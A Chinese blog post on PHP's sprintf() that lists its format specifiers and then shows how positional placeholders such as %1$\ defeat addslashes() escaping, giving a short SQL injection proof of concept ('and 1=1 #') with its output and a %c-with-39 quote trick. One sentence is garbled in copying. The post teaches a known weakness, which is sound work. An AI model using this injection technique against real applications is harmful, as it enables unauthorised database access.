[php漏洞]sprintf漏洞

定义

sprintf()函数把格式化的字符串写入一个变量

语法

sprintf(format, arg1, arg2, arg++)

示例

<?php
$number = 6;
$str = 'xiaoming';
$ret = sprintf('hello, %s! today is %d', $str, $number);
echo $ret;

执行输出结果如下:

hello, xiaoming! today is 6

format参数的格式值:

%% - 返回一个百分号 %
%b - 二进制数
%c - ASCII 值对应的字符
%d - 包含正负号的十进制数(负数、0、正数)
%e - 使用小写的科学计数法(例如 1.2e+2)
%E - 使用大写的科学计数法(例如 1.2E+2)
%u - 不包含正负号的十进制数(大于等于 0)
%f - 浮点数(本地设置)
%F - 浮点数(非本地设置)
%g - 较短的 %e 和 %f
%G - 较短的 %E 和 %f
%o - 八进制数
%s - 字符串
%x - 十六进制数(小写字母)
%X - 十六进制数(大写字母)

附加的格式值。必需放置在 % 和字母之间(例如 %.2f):

+(在数字前面加上 + 或 - 来定义数字的正负性。默认情况下,只有负数才做标记,正数不做标记)
’ (规定使用什么作为填充,默认是空格。它必须与宽度指定器一起使用。例如:%'x20s(使用 “x” 作为填充))

-(左调整变量值)
[0-9] (规定变量值的最小宽度)
.[0-9] (规定小数位数或最大字符串长度)

占位符漏洞

%1$ 是什么?

sprintf(format, arg1, arg2, arg++)

arg1、arg2、++ 参数将被插入到主字符串中的百分号(%)符号处。该函数是逐步执行的。在第一个 % 符号处,插入 arg1,在第二个 % 符号处,插入 arg2,依此类推。

如果 % 符号多于 arg 参数,则您必须使用占位符。占位符位于 % 符号之后,由数字和 “$” 组成

示例

echo sprintf("a=%2\$s, b=%1\$s", "a", "b");

执行结果如下

a=b, b=a

%2$s,2表示第二个占位符,s表示字符串类型

如果%1$ + 非arg格式类型,程序会无法识别占位符类型,变为空

示例

echo sprintf("a=%2\$\, b=%1\$z", "a", "b");

%2\$\,%1\$z,其中\和z都是非arg格式类型,执行结果如下

a=,b=
漏洞利用
<?php
$input = addslashes("%1\$' and 1=1 #");
$b = sprintf(" and b = '%s'", $input);
$sql = sprintf("select * from t where a = '%s' $b ", 'admin','ccc');
// 对$input与$b进行了拼接
// $sql = sprintf ("SELECT * FROM t WHERE a='%s' AND b='%1$\' and 1=1#' ", 'admin', 'ccc' );
echo $sql;

addslashes()函数:在预定义前面加反斜杠,预定义符有单引号(’),双引号("),反斜杠(\),NULL

addslashes函数执行后,$input = %1\$\’,其中%1\ 最 后 面 是 非 a r g 格 式 类 型 , 所 以 \\最后面\\是非arg格式类型,所以 arginput = ',最后,执行结果如下

select * from t where a = 'admin'  and b = '' and 1=1 #'

还可以数字39转ascii字符方式代替单引号’ , 示例如下

$sql = sprintf("select * from t where a = '%1\$c'", 39);
echo $sql;

执行结果

select * from t where a = '''

未完待续…

  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值